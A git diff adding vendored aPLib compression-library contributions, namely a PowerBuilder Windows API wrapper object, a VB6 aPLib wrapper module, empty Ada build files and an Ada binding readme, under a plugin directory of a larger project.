dwDesiredAccess, ULong dwShareMode, & + str_security_attibutes lpSecurityAttributes, ULong dwCreationDisposition, & + ULong dwFlagsAndAttributes, ULong hTemplateFile) library "kernel32.DLL" +Function Boolean WriteFile(UnsignedLong hFile, Ref String lpBuffer, ULong nNumberOfBytesToWrite, & + Ref ULong lpNumberOfBytesWritten, Ref str_overlapped lpOverlapped) library "kernel32.DLL" +Function Boolean ReadFile(UnsignedLong hFile, Ref String lpBuffer, ULong nNumberOfBytesToRead, & + Ref ULong lpNumberOfBytesRead, Ref str_overlapped lpOverlapped) library "kernel32.DLL" + +Function String GetLastError() library "kernel32.DLL" + + +end prototypes + +type variables +str_ofstruct istr_ofstruct +end variables + +forward prototypes +public function integer uf_playsound (string as_filename, integer ai_option) +public function unsignedlong uf_getsyscolor (integer ai_index) +public function int uf_getscreenwidth () +public function int uf_getscreenheight () +public function unsignedinteger uf_getsystemdirectory (ref string as_dir, unsignedinteger aui_size) +public function unsignedinteger uf_getwindowsdirectory (ref string as_dir, unsignedinteger aui_size) +public function ulong uf_get_logon_time () +public function boolean uf_killtimer (long aui_handle, unsignedinteger aui_id) +public function unsignedinteger uf_settimer (long aui_handle, unsignedinteger aui_id, unsignedinteger aui_time) +public function boolean uf_flash_window (long aui_handle, boolean ab_flash) +public function unsignedinteger uf_getwindow (long aui_handle, unsignedinteger aui_relationship) +public function boolean uf_iswindowvisible (long aui_handle) +public function unsignedinteger uf_openfile (string as_filename, ref str_ofstruct astr_ptr_str, unsignedinteger aui_fileaccess) +public function unsignedinteger uf_getdrivetype (string as_drive) +public function integer uf_get_logon_name (ref string as_name) +public function long uf_getmodulehandle (string as_modname) +public function unsignedlong uf_getfreememory (long ai_type) +public function boolean uf_destroywindow (unsignedlong aul_whnd) +public function integer uf_findexecutable (ref string as_filename, ref string as_directory, ref string as_executable) +public function unsignedlong uf_findwindow (unsignedlong aul_classname, string as_windowname) +public function integer uf_getwindowtext (long aui_handle, ref string as_text, integer ai_max) +public function long uf_copyfile (unsignedinteger aui_sourcehandle, unsignedinteger aui_desthandle) +public function integer uf_getwindowtextlength (unsignedlong aul_hwnd) +public function integer uf_getsystemmetrics (integer ai_index) +public function integer uf_setcurrentdirectory () +public function integer uf_netaddconnection2 (ref string as_drive, string as_path) +public function integer uf_cancelconnection (string as_drive) +public function integer uf_setfileattributes (ref string as_filename, unsignedlong aul_attribute) +public function unsignedinteger uf_create_file (string as_filename, unsignedlong aul_desiredaccess, unsignedlong aul_sharemode, unsignedlong aul_creationdisposition, unsignedlong ul_flagsandattributes) +public function boolean uf_close_file (unsignedinteger aui_file_handle) +public function integer uf_netgetlasterror () +public function string uf_getlasterror () +public function boolean uf_write_file (long al_file_handle, ref string as_buffer, unsignedlong aul_byte_to_write) +public function boolean uf_read_file (long al_file_handle, ref string as_buffer, ref unsignedlong aul_bytes_to_read, ref unsignedlong aul_bytes_read) +end prototypes + +public function integer uf_playsound (string as_filename, integer ai_option);//Options as defined in mmystem.h These may be or'd together. + +//#define SND_SYNC 0x0000 /* play synchronously (default) */ +//#define SND_ASYNC 0x0001 /* play asynchronously */ +//#define SND_NODEFAULT 0x0002 /* don't use default sound */ +//#define SND_MEMORY 0x0004 /* lpszSoundName points to a memory file */ +//#define SND_LOOP 0x0008 /* loop the sound until next sndPlaySound */ +//#define SND_NOSTOP 0x0010 /* don't stop any currently playing sound */ + +uint lui_numdevs + + +lui_numdevs = WaveOutGetNumDevs() +If lui_numdevs > 0 Then + sndPlaySoundA(as_filename,ai_option) + return 1 +Else + return -1 +End If +end function + +public function unsignedlong uf_getsyscolor (integer ai_index);//GetsysColor in win32 +Return GetSysColor (ai_index) +end function + +public function int uf_getscreenwidth ();Return GetSystemMetrics(0) +end function + +public function int uf_getscreenheight ();return getSystemMetrics(1) +end function + +public function unsignedinteger uf_getsystemdirectory (ref string as_dir, unsignedinteger aui_size);Return GetSystemDirectoryA(as_dir,aui_size) +end function + +public function unsignedinteger uf_getwindowsdirectory (ref string as_dir, unsignedinteger aui_size);Return GetWindowsDirectoryA(as_dir,aui_size) +end function + +public function ulong uf_get_logon_time ();//user gettickcount to find total logon time +Return GetTickCount() + +end function + +public function boolean uf_killtimer (long aui_handle, unsignedinteger aui_id);//win api call to kill timer +Return KillTimer(aui_handle,aui_id) +end function + +public function unsignedinteger uf_settimer (long aui_handle, unsignedinteger aui_id, unsignedinteger aui_time);//win api to create timer +Return(SetTimer(aui_handle,aui_id,aui_time,0)) +end function + +public function boolean uf_flash_window (long aui_handle, boolean ab_flash);//function not found in descendent +Return FlashWindow(aui_handle, ab_flash) +end function + +public function unsignedinteger uf_getwindow (long aui_handle, unsignedinteger aui_relationship);//function not found +Return GetWindow(aui_handle,aui_relationship) +end function + +public function boolean uf_iswindowvisible (long aui_handle);Return IsWindowVisible(aui_handle) +end function + +public function unsignedinteger uf_openfile (string as_filename, ref str_ofstruct astr_ptr_str, unsignedinteger aui_fileaccess);Return OpenFile(as_filename, astr_ptr_str, aui_fileaccess) +end function + +public function unsignedinteger uf_getdrivetype (string as_drive);//drive types +Return GetDriveTypeA(as_drive) +end function + +public function integer uf_get_logon_name (ref string as_name);//use windows function wnetgetuser + +ulong lul_value +Boolean lb_rc +string ls_temp + +lul_value =255 +ls_temp = space(255) + +lb_rc = GetUserNameA(ls_temp, lul_value) + +If lb_rc Then + as_name = ls_temp + Return 1 +Else + Return -1 +End If + + + +end function + +public function long uf_getmodulehandle (string as_modname); +//use sdk getmodule handle +Long ll_return +ll_return = GetModuleHandleA (as_modname) +Return ll_return +end function + +public function unsignedlong uf_getfreememory (long ai_type);//win api to get free memory +str_memorystatus lstr_memorystatus + +lstr_memorystatus.sul_dwlength = 32 + +GlobalMemoryStatus(lstr_memorystatus) + +If ai_type = 1 Then + Return(lstr_memorystatus.sul_dwmemoryload) +ElseIf ai_type = 2 Then + Return(lstr_memorystatus.sul_dwavailphys) +ElseIf ai_type = 3 Then + Return(lstr_memorystatus.sul_dwavailvirtual) +End If +end function + +public function boolean uf_destroywindow (unsignedlong aul_whnd); +Return DestroyWindow(aul_whnd) +end function + +public function integer uf_findexecutable (ref string as_filename, ref string as_directory, ref string as_executable);Return FindExecutable ( as_filename, as_directory, as_executable ) +end function + +public function unsignedlong uf_findwindow (unsignedlong aul_classname, string as_windowname);//use win 32 getmodulehandle function +Return FindWindowA(aul_classname,as_windowname) +end function + +public function integer uf_getwindowtext (long aui_handle, ref string as_text, integer ai_max);//function not found +Return GetWindowTextA (aui_handle,as_text,ai_max) +end function + +public function long uf_copyfile (unsignedinteger aui_sourcehandle, unsignedinteger aui_desthandle);Return LZCopy(aui_sourcehandle, aui_desthandle) + + +end function + +public function integer uf_getwindowtextlength (unsignedlong aul_hwnd); +Return GetWindowTextLengthA(aul_hwnd) + 1 +end function + +public function integer uf_getsystemmetrics (integer ai_index);Return GetSystemMetrics(ai_index) +end function + +public function integer uf_setcurrentdirectory ();boolean rtn +string ls_dir + + +ls_dir = "c:\ems" +rtn = SetCurrentDirectoryA(ls_dir) +//MessageBox("SetCurrentDirectory", string(rtn)) + +if rtn then + return 1 +else + return -1 +end if + +end function + +public function integer uf_netaddconnection2 (ref string as_drive, string as_path);Ulong lul_value +Long ll_flags +Long ll_return +String ls_password +String ls_username + +str_netresource lstr_netresource + +lstr_netresource.dwScope = 2 +lstr_netresource.dwType = 1 +lstr_netresource.dwDisplayType = 3 +lstr_netresource.dwUsage = 1 +lstr_netresource.lpLocalName = as_drive +lstr_netresource.lpRemoteName = as_path + +lul_value = 255 +ls_username = space(lul_value) + +GetUserNameA(ls_username, lul_value) + +SetNull(ls_password) + +ll_return = WNetAddConnection2A(lstr_netresource, ls_password, ls_username, ll_flags) + +Return ll_return +end function + +public function integer uf_cancelconnection (string as_drive); + +Long ll_return + +ll_return = WNetCancelConnectionA(as_drive, TRUE) +Return ll_return +end function + +public function integer uf_setfileattributes (ref string as_filename, unsignedlong aul_attribute);// Change file attributes +// aul_attribute values: +// FILE_ATTRIBUTE_ARCHIVE => 0x20 => 32, +// FILE_ATTRIBUTE_ATOMIC_WRITE => 0x200 => 512, +// FILE_ATTRIBUTE_COMPRESSED => 0x800 => 2048, +// FILE_ATTRIBUTE_DIRECTORY => 0x10 => 16, +// FILE_ATTRIBUTE_HIDDEN => 0x2 => 2, +// FILE_ATTRIBUTE_NORMAL => 0x80 => 128, +// FILE_ATTRIBUTE_READONLY => 0x1 => 1, +// FILE_ATTRIBUTE_SYSTEM => 0x4 => 4, +// FILE_ATTRIBUTE_TEMPORARY => 0x100 => 256, +// FILE_FLAG_BACKUP_SEMANTICS => 0x2000000 => 33554432, +// FILE_FLAG_DELETE_ON_CLOSE => 0x4000000 => 67108864, +// FILE_FLAG_NO_BUFFERING => 0x20000000 => 536870912, +// FILE_FLAG_OVERLAPPED => 0x40000000 => 1073741824, +// FILE_FLAG_POSIX_SEMANTICS => 0x1000000 => 16777216, +// FILE_FLAG_RANDOM_ACCESS => 0x10000000 => 268435456, +// FILE_FLAG_SEQUENTIAL_SCAN => 0x8000000 => 134217728, +// FILE_FLAG_WRITE_THROUGH => 0x80000000 => 2147483648 +// +// (Note: FILE_ATTRIBUTE_NORMAL - The file has no other attributes +// This value is valid only if used alone.) + +boolean ib_rtn + +ib_rtn = SetFileAttributesA(as_filename, aul_attribute) + +if ib_rtn then + return 1 +else + return -1 +end if +end function + +public function unsignedinteger uf_create_file (string as_filename, unsignedlong aul_desiredaccess, unsignedlong aul_sharemode, unsignedlong aul_creationdisposition, unsignedlong ul_flagsandattributes); +// Values for aul_DesiredAccess +// +// FILE_LIST_DIRECTORY 0x00000001 +// FILE_READ_DATA 0x00000001 +// FILE_ADD_FILE 0x00000002 +// FILE_WRITE_DATA 0x00000002 +// FILE_ADD_SUBDIRECTORY 0x00000004 +// FILE_APPEND_DATA 0x00000004 +// FILE_CREATE_PIPE_INSTANCE 0x00000004 +// FILE_READ_EA 0x00000008 +// FILE_WRITE_EA 0x00000010 +// FILE_EXECUTE 0x00000020 +// FILE_TRAVERSE 0x00000020 +// FILE_DELETE_CHILD 0x00000040 +// FILE_READ_ATTRIBUTES 0x00000080 +// FILE_WRITE_ATTRIBUTES 0x00000100 + +// Values for aul_ShareMode +// +// FILE_SHARE_READ 0x00000001 +// FILE_SHARE_WRITE 0x00000002 +// FILE_SHARE_DELETE 0x00000004 +// FILE_SHARE_VALID_FLAGS 0x00000007 + +// Values for aul_CreationDisposition +// +// CREATE_NEW 0x00000001 +// CREATE_ALWAYS 0x00000002 +// OPEN_EXISTING 0x00000003 +// OPEN_ALWAYS 0x00000004 +// TRUNCATE_EXISTING 0x00000005 + +// Values for aul_FlagsAndAttributes +// +// FILE_ATTRIBUTE_READONLY 0x00000001 +// FILE_ATTRIBUTE_HIDDEN 0x00000002 +// FILE_ATTRIBUTE_SYSTEM 0x00000004 +// FILE_ATTRIBUTE_DIRECTORY 0x00000010 +// FILE_ATTRIBUTE_ARCHIVE 0x00000020 +// FILE_ATTRIBUTE_ENCRYPTED 0x00000040 +// FILE_ATTRIBUTE_NORMAL 0x00000080 +// FILE_ATTRIBUTE_TEMPORARY 0x00000100 +// FILE_ATTRIBUTE_SPARSE_FILE 0x00000200 +// FILE_ATTRIBUTE_REPARSE_POINT 0x00000400 +// FILE_ATTRIBUTE_COMPRESSED 0x00000800 +// FILE_ATTRIBUTE_OFFLINE 0x00001000 +// FILE_ATTRIBUTE_NOT_CONTENT_INDEXED 0x00002000 + +uint lui_ret, lui_null +str_security_attibutes lstr_security_attibutes + +lstr_security_attibutes.lpsecuritydescriptor = 0 + +SetNull(lui_null) + +lui_ret = CreateFileA(as_filename, aul_desiredaccess, aul_sharemode, lstr_security_attibutes, & + aul_creationdisposition, ul_flagsandattributes, lui_null) + +//uf_getlasterror() + +return lui_ret +end function + +public function boolean uf_close_file (unsignedinteger aui_file_handle);Boolean lb_ret + +lb_ret = CloseHandle(aui_file_handle) + +Return (lb_ret) +end function + +public function integer uf_netgetlasterror (); +char lca_error[256] +char lca_name[256] +Long ll_return +String ls_error +String ls_name +ULong lpError +Ulong nErrorBufSize +ULONG nNameBufSize + +//ls_error = lca_error +//nErrorBufSize = 256 +//ls_name = lca_name +//nNameBufSize = 256 + +ll_return = WNetGetLastErrorA(lpError, ls_error, nErrorBufSize, ls_name, nNameBufSize) + +Return ll_return +end function + +public function string uf_getlasterror (); +Char lca_error[80] + +String ls_error + +ls_error = GetLastError() + +return ls_error +end function + +public function boolean uf_write_file (long al_file_handle, ref string as_buffer, unsignedlong aul_byte_to_write);//Function Boolean WriteFile(Long hFile, Ref String lpBuffer, ULong nNumberOfBytesToWrite, +// Ref ULong lpNumberOfBytesWritten, Long lpOverlapped) library "kernel32.DLL" +// +Long ll_null = 0 +ULong lul_bytes_written +Boolean lb_ret + +str_overlapped lstr_overlapped + +lb_ret = WriteFile(al_file_handle, as_buffer, aul_byte_to_write, lul_bytes_written, lstr_overlapped) + +//uf_getlasterror() + +Return lb_ret +end function + +public function boolean uf_read_file (long al_file_handle, ref string as_buffer, ref unsignedlong aul_bytes_to_read, ref unsignedlong aul_bytes_read); +//Function Boolean WriteFile(Long hFile, Ref String lpBuffer, ULong nNumberOfBytesToWrite, +// Ref ULong lpNumberOfBytesWritten, Long lpOverlapped) library "kernel32.DLL" +// +Long ll_null = 0 +Boolean lb_ret + +str_overlapped lstr_overlapped + +as_buffer = Space(aul_bytes_to_read) + +lb_ret = ReadFile(al_file_handle, as_buffer, aul_bytes_to_read, aul_bytes_read, lstr_overlapped) + +//uf_getlasterror() + +Return lb_ret + +return true +end function + +on uo_external_function_winapi.create +call super::create +end on + +on uo_external_function_winapi.destroy +call super::destroy +end on + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/VB6/maPLib.bas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/VB6/maPLib.bas new file mode 100644 index 0000000..5a1f472 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/VB6/maPLib.bas @@ -0,0 +1,292 @@ +Attribute VB_Name = "maPLib" +'--------------------------------------------------------------------------------------- +' Name : maPLib (Module) +'--------------------------------------------------------------------------------------- +' Project : aPLib Compression Library Visual Basic 6 Wrapper +' Author : Jon Johnson +' Date : 7/15/2005 +' Email : jjohnson@sherwoodpolice.org +' Version : 1.0 +' Purpose : Wraps the functions in 'aplib.dll' for use in Visual Basic 6 +' Notes : The two functions (CompressFile, DecompressFile) have very limited error +' : checking. There is much room for improvement. +'--------------------------------------------------------------------------------------- +Option Explicit + +'--------------------------------------------------------------------------------------- +' API Constants +'--------------------------------------------------------------------------------------- +Const APLIB_ERROR = -1 + +'--------------------------------------------------------------------------------------- +' API Compression Functions +'--------------------------------------------------------------------------------------- +'--------------------------------------------------------------------------------------- +' Declare : aP_Pack +' Inputs : source = Pointer to the data to be compressed. +' : destination = Pointer to where the compressed data should be stored. +' : length = The length of the uncompressed data in bytes. +' : workmem = Pointer to the work memory which is used during compression. +' : callback = Pointer to the callback function (or NULL). +' : cbparam = Callback argument. +' Returns : The length of the compressed data, or APLIB_ERROR on error. +' Purpose : Compresses 'length' bytes of data from 'source()' into 'destination()', +' : using 'workmem()' for temporary storage. +'--------------------------------------------------------------------------------------- +Public Declare Function aP_Pack Lib "aplib.dll" Alias "_aP_pack" (source As Byte, destination As Byte, ByVal length As Long, workmem As Byte, Optional ByVal callback As Long = &H0, Optional ByVal cbparam As Long = &H0) As Long +'--------------------------------------------------------------------------------------- +' Declare : aP_workmem_size +' Inputs : input_size = The length of the uncompressed data in bytes. +' Returns : The required length of the work buffer. +' Purpose : Computes the required size of the 'workmem()' buffer used by 'aP_pack' for +' : compressing 'input_size' bytes of data. +'--------------------------------------------------------------------------------------- +Public Declare Function aP_workmem_size Lib "aplib.dll" Alias "_aP_workmem_size" (ByVal input_size As Long) As Long +'--------------------------------------------------------------------------------------- +' Declare : aP_max_packed_size +' Inputs : input_size = The length of the uncompressed data in bytes. +' Returns : The maximum possible size of the compressed data. +' Purpose : Computes the maximum possible compressed size possible when compressing +' : 'input_size' bytes of incompressible data. +'--------------------------------------------------------------------------------------- +Public Declare Function aP_max_packed_size Lib "aplib.dll" Alias "_aP_max_packed_size" (ByVal input_size As Long) As Long +'--------------------------------------------------------------------------------------- +' Declare : aPsafe_pack +' Inputs : source = Pointer to the data to be compressed. +' : destination = Pointer to where the compressed data should be stored. +' : length = The length of the uncompressed data in bytes. +' : workmem = Pointer to the work memory which is used during compression. +' : callback = Pointer to the callback function (or NULL). +' : cbparam = Callback argument. +' Returns : The length of the compressed data, or APLIB_ERROR on error. +' Purpose : Wrapper function for 'aP_pack', which adds a header to the compressed data +' : containing the length of the original data, and CRC32 checksums of the +' : original and compressed data. +'--------------------------------------------------------------------------------------- +Public Declare Function aPsafe_pack Lib "aplib.dll" Alias "_aPsafe_pack" (source As Byte, destination As Byte, ByVal length As Long, workmem As Byte, Optional ByVal callback As Long = &H0, Optional ByVal cbparam As Long = &H0) As Long + + +'--------------------------------------------------------------------------------------- +' API Decompression Functions +'--------------------------------------------------------------------------------------- +'--------------------------------------------------------------------------------------- +' Declare : aP_depack +' Inputs : source = Pointer to the compressed data. +' : destination = Pointer to where the decompressed data should be stored. +' Returns : The length of the decompressed data, or APLIB_ERROR on error. +' Purpose : Decompresses the compressed data from 'source()' into 'destination()'. +'--------------------------------------------------------------------------------------- +Public Declare Function aP_depack Lib "aplib.dll" Alias "_aP_depack_asm_fast" (source As Byte, destination As Byte) As Long +'--------------------------------------------------------------------------------------- +' Declare : aP_depack_safe +' Inputs : source = Pointer to the compressed data. +' : srclen = The size of the source buffer in bytes. +' : destination = Pointer to where the decompressed data should be stored. +' : dstlen = The size of the destination buffer in bytes. +' Returns : The length of the decompressed data, or APLIB_ERROR on error. +' Purpose : Decompresses the compressed data from 'source()' into 'destination()'. +'--------------------------------------------------------------------------------------- +Public Declare Function aP_depack_safe Lib "aplib.dll" Alias "_aP_depack_asm_safe" (source As Byte, ByVal srclen As Long, destination As Byte, ByVal dstlen As Long) As Long +'--------------------------------------------------------------------------------------- +' Declare : aP_depack_asm +' Inputs : source = Pointer to the compressed data. +' : destination = Pointer to where the decompressed data should be stored. +' Returns : The length of the decompressed data, or APLIB_ERROR on error. +' Purpose : Decompresses the compressed data from 'source()' into 'destination()'. +'--------------------------------------------------------------------------------------- +Public Declare Function aP_depack_asm Lib "aplib.dll" Alias "_aP_depack_asm" (source As Byte, destination As Byte) As Long +'--------------------------------------------------------------------------------------- +' Declare : aP_depack_asm_fast +' Inputs : source = Pointer to the compressed data. +' : destination = Pointer to where the decompressed data should be stored. +' Returns : The length of the decompressed data, or APLIB_ERROR on error. +' Purpose : Decompresses the compressed data from 'source()' into 'destination()'. +'--------------------------------------------------------------------------------------- +Public Declare Function aP_depack_asm_fast Lib "aplib.dll" Alias "_aP_depack_asm_fast" (source As Byte, destination As Byte) As Long +'--------------------------------------------------------------------------------------- +' Declare : aP_depack_asm_safe +' Inputs : source = Pointer to the compressed data. +' : srclen = The size of the source buffer in bytes. +' : destination = Pointer to where the decompressed data should be stored. +' : dstlen = The size of the destination buffer in bytes. +' Returns : The length of the decompressed data, or APLIB_ERROR on error. +' Purpose : Decompresses the compressed data from 'source()' into 'destination()'. +'--------------------------------------------------------------------------------------- +Public Declare Function aP_depack_asm_safe Lib "aplib.dll" Alias "_aP_depack_asm_safe" (source As Byte, ByVal srclen As Long, destination As Byte, ByVal dstlen As Long) As Long +'--------------------------------------------------------------------------------------- +' Declare : aP_crc32 +' Inputs : source = Pointer to the data to process. +' : length = The size in bytes of the data. +' Returns : The CRC32 value. +' Purpose : Computes the CRC32 value of 'length' bytes of data from 'source()'. +'--------------------------------------------------------------------------------------- +Public Declare Function aP_crc32 Lib "aplib.dll" Alias "_aP_crc32" (source As Byte, ByVal length As Long) As Long +'--------------------------------------------------------------------------------------- +' Declare : aPsafe_check +' Inputs : source = The compressed data to process. +' Returns : The length of the decompressed data, or APLIB_ERROR on error. +' Purpose : Computes the CRC32 of the compressed data in 'source()' and checks it +' : against the value in the header. Returns the length of the decompressed +' : data stored in the header. +'--------------------------------------------------------------------------------------- +Public Declare Function aPsafe_check Lib "aplib.dll" Alias "_aPsafe_check" (source As Byte) As Long +'--------------------------------------------------------------------------------------- +' Declare : aPsafe_get_orig_size +' Inputs : source = The compressed data to process. +' Returns : The length of the decompressed data, or APLIB_ERROR on error. +' Purpose : Returns the length of the decompressed data stored in the header of the +' : compressed data in 'source()'. +'--------------------------------------------------------------------------------------- +Public Declare Function aPsafe_get_orig_size Lib "aplib.dll" Alias "_aPsafe_get_orig_size" (source As Byte) As Long +'--------------------------------------------------------------------------------------- +' Declare : aPsafe_depack +' Inputs : source = Pointer to the compressed data. +' : srclen = The size of the source buffer in bytes. +' : destination = Pointer to where the decompressed data should be stored. +' : dstlen = The size of the destination buffer in bytes. +' Returns : The length of the decompressed data, or APLIB_ERROR on error. +' Purpose : Wrapper function for 'aP_depack_asm_safe', which checks the CRC32 of the +' : compressed data, decompresses, and checks the CRC32 of the decompressed +' : data. +'--------------------------------------------------------------------------------------- +Public Declare Function aPsafe_depack Lib "aplib.dll" Alias "_aPsafe_depack" (source As Byte, ByVal srclen As Long, destination As Byte, ByVal dstlen As Long) As Long + +'--------------------------------------------------------------------------------------- +' Procedure : CompressFile +' Returns : Boolean (True if succesful, False if not) +' DateTime : 7/15/2005 +' Author : Jon Johnson +' Purpose : Example of using aPLib to compress a file +'--------------------------------------------------------------------------------------- +Public Function CompressFile(sInFile As String, Optional sOutFile As String) As Boolean + Dim lCompressedSize As Long 'Length of compressed data + Dim bInBuffer() As Byte 'Input buffer + Dim bOutBuffer() As Byte 'Output buffer + Dim bWorkBuffer() As Byte 'Work buffer + Dim iFileO As Integer 'File I/O + + 'If no input file specified, return False and exit + If sInFile = "" Then + CompressFile = False + Exit Function + End If + 'If no output file specified, create one using the .ap file extension + If sOutFile = "" Then + sOutFile = FileParsePath(sInFile, False, False) & FileParsePath(sInFile, True, False) & ".ap" + End If + 'Move the data to compress into a buffer + iFileO = FreeFile + Open sInFile For Binary As #iFileO + ReDim bInBuffer(0 To LOF(iFileO) - 1) + Get #iFileO, , bInBuffer() + Close #iFileO + 'Compute the size of the work buffer + ReDim bWorkBuffer(0 To aP_workmem_size(UBound(bInBuffer) + 1)) + 'Compute the size of the output buffer + ReDim bOutBuffer(0 To aP_max_packed_size(UBound(bInBuffer) + 1)) + 'Compress the data using the 'safe' pack method + lCompressedSize = aPsafe_pack(bInBuffer(0), bOutBuffer(0), (UBound(bInBuffer) + 1), bWorkBuffer(0)) + 'If an error encountered in compressing, then return False and exit + If lCompressedSize = APLIB_ERROR Then + CompressFile = False + Exit Function + End If + 'Resize the output buffer to the proper size + 'The rtlMoveMemory API could also be used here + ReDim Preserve bOutBuffer(0 To (lCompressedSize - 1)) + 'Put the compressed data into the output file + If (FileExist(sOutFile)) Then Kill sOutFile + iFileO = FreeFile + Open sOutFile For Binary As #iFileO + Put #iFileO, , bOutBuffer() + Close #iFileO + 'Everything went OK, return True + CompressFile = True +End Function + +'--------------------------------------------------------------------------------------- +' Procedure : DecompressFile +' Returns : Boolean (True if succesful, False if not) +' DateTime : 7/15/2005 +' Author : Jon Johnson +' Purpose : Example of using aPLib to decompress a file +'--------------------------------------------------------------------------------------- +Public Function DecompressFile(sInFile As String, Optional sOutFile As String) As Boolean + Dim lDecompressedSize As Long 'Length of decompressed data + Dim bInBuffer() As Byte 'Input buffer + Dim lInBufferLen As Long 'Input buffer size + Dim bOutBuffer() As Byte 'Output buffer + Dim lOutBufferLen As Long 'Output buffer size + Dim iFileO As Integer 'File I/O + + 'If no input file specified, return False and exit + If sInFile = "" Then + DecompressFile = False + Exit Function + End If + 'If no output file specified, create one using the .dec file extension + If sOutFile = "" Then + sOutFile = FileParsePath(sInFile, False, False) & FileParsePath(sInFile, True, False) & ".dec" + End If + 'Move the data to decompress into a buffer + iFileO = FreeFile + Open sInFile For Binary As #iFileO + ReDim bInBuffer(0 To LOF(iFileO) - 1) + Get #iFileO, , bInBuffer() + Close #iFileO + 'Compute the sizes of the buffers + lInBufferLen = (UBound(bInBuffer) + 1) + lOutBufferLen = aPsafe_get_orig_size(bInBuffer(0)) + 'Set the output buffer to the proper size + ReDim bOutBuffer(0 To (lOutBufferLen - 1)) + 'Decompress the data using the 'safe' depack method + lDecompressedSize = aPsafe_depack(bInBuffer(0), lInBufferLen, bOutBuffer(0), lOutBufferLen) + 'If an error encountered in decompressing, then return False and exit + If lDecompressedSize = APLIB_ERROR Then + DecompressFile = False + Exit Function + End If + 'Put the decompressed data into the output file + If (FileExist(sOutFile)) Then Kill sOutFile + iFileO = FreeFile + Open sOutFile For Binary As #iFileO + Put #iFileO, , bOutBuffer() + Close #iFileO + 'Everything went OK, return True + DecompressFile = True +End Function + +'--------------------------------------------------------------------------------------- +' Utility Functions +'--------------------------------------------------------------------------------------- +Private Function FileParsePath(sPathname As String, bRetFile As Boolean, bExtension As Boolean) As String + Dim sEditArray() As String + sEditArray = Split(sPathname, "\", -1) + If bRetFile = True Then + Dim sFileName As String + sFileName = sEditArray(UBound(sEditArray)) + If bExtension = True Then + FileParsePath = sFileName + Else + sEditArray = Split(sFileName, ".", -1) + FileParsePath = sEditArray(LBound(sEditArray)) + End If + Else + Dim sPathnameA As String + Dim i As Integer + For i = 0 To UBound(sEditArray) - 1 + sPathnameA = sPathnameA & sEditArray(i) & "\" + Next + FileParsePath = sPathnameA + End If + On Error GoTo 0 +End Function + +Private Function FileExist(sFilePath As String) As Boolean + On Error GoTo ErrorHandler + Call FileLen(sFilePath) + FileExist = True + Exit Function +ErrorHandler: + FileExist = False +End Function diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/apacdemo.ali b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/apacdemo.ali new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/apacdemo.ali @@ -0,0 +1 @@ + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/aplib.ali b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/aplib.ali new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/aplib.ali @@ -0,0 +1 @@ + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/apacdemo.ali b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/apacdemo.ali new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/apacdemo.ali @@ -0,0 +1 @@ + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/aplib.ali b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/aplib.ali new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/aplib.ali @@ -0,0 +1 @@ + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aPLibAda.txt b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aPLibAda.txt new file mode 100644 index 0000000..9e71c39 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aPLibAda.txt @@ -0,0 +1,139 @@ +aPLib Ada binding v. 4-Nov-2001 +-------------------------------- + +Files +----- + +aplibada.txt this file +aplib.ads package specification for aPLib Ada binding +aplib.adb package body for aPLib Ada binding +apacdemo.adb demo +gnat.ago local GNAT options file for AdaGIDE +mk_gndos.bat make command for demo with GNAT for DOS compiler +mk_gnwin.bat make command for demo with GNAT for Windows compiler +mk_aonix.bat make command for demo with Aonix ObjectAda for Windows compiler + + +Usage +----- + +The APLib package contains two generic procedures, Pack and Depack, +that you can use for compressing and decompressing any sort of data +into any other sort. For parametres, see specification: aplib.ads . + +For the packed data type, it's simpler +to use an array of bytes, so you can easily calibrate +the safe size of packed data by calling the +function Evaluate_max_packed_space - see again aplib.ads. + + +Read apacdemo.adb to see an example how to implement it. + + +Binding the aPLib library +------------------------- + +* For GNAT compiler make your program (here the demo) with the command + + [DOS: ] gnatmake apacdemo -largs aplib.a [lib from DJGPP] + [Windows:] gnatmake apacdemo -largs aplib.lib [lib from VC] + [Any:] gnatmake apacdemo -largs aplib.xxx [lib from ???] + + Add usual options if needed. + + If you are using the AdaGIDE interface, just load apacdemo.adb and + build (F3). + +* For ObjectAda compiler it should work... but I didn't find + how (it crashes for now). + +Portability: full, provided the aPLib exists on your platform, +of course ! + +How to run the demo +------------------- + +The command + + apacdemo a.x b.y c.z + +will pack the contents of files a.x b.y c.z into +packed.000, packed.001, packed.002 and unpack into +pack_unp.000, pack_unp.001, pack_unp.002 . + +Typical output: + +________________________________________________________________ +APack_Demo + +Command: apacdemo file1 file2 file3 ... + +When no file specified, 'apacdemo.exe' is used +The data are packed, unpacked and compared with originals. + +File name: C:\Temp\Test + + [====/..............................................] 8% + +Unpacked size : 7885938 +Packed size : 706040 +Work memory size : 655360 +Compression ratio: 8% +Packed file name : packed.001 +Re-depacked file name : pack_unp.001 + +Real time for compression : 118.453919016 +Real time for decompression: 0.172979478 - ratio 1.46031E-03 +Unpacked and original being same: TRUE +________________________________________________________________ + +How to get an Ada95 compiler +---------------------------- + +* Search the Net for the GNU compiler, named GNAT. + Full Ada95 implementation with libraries & sources. + +Free download: ftp://cs.nyu.edu/pub/gnat/ +or search there: + 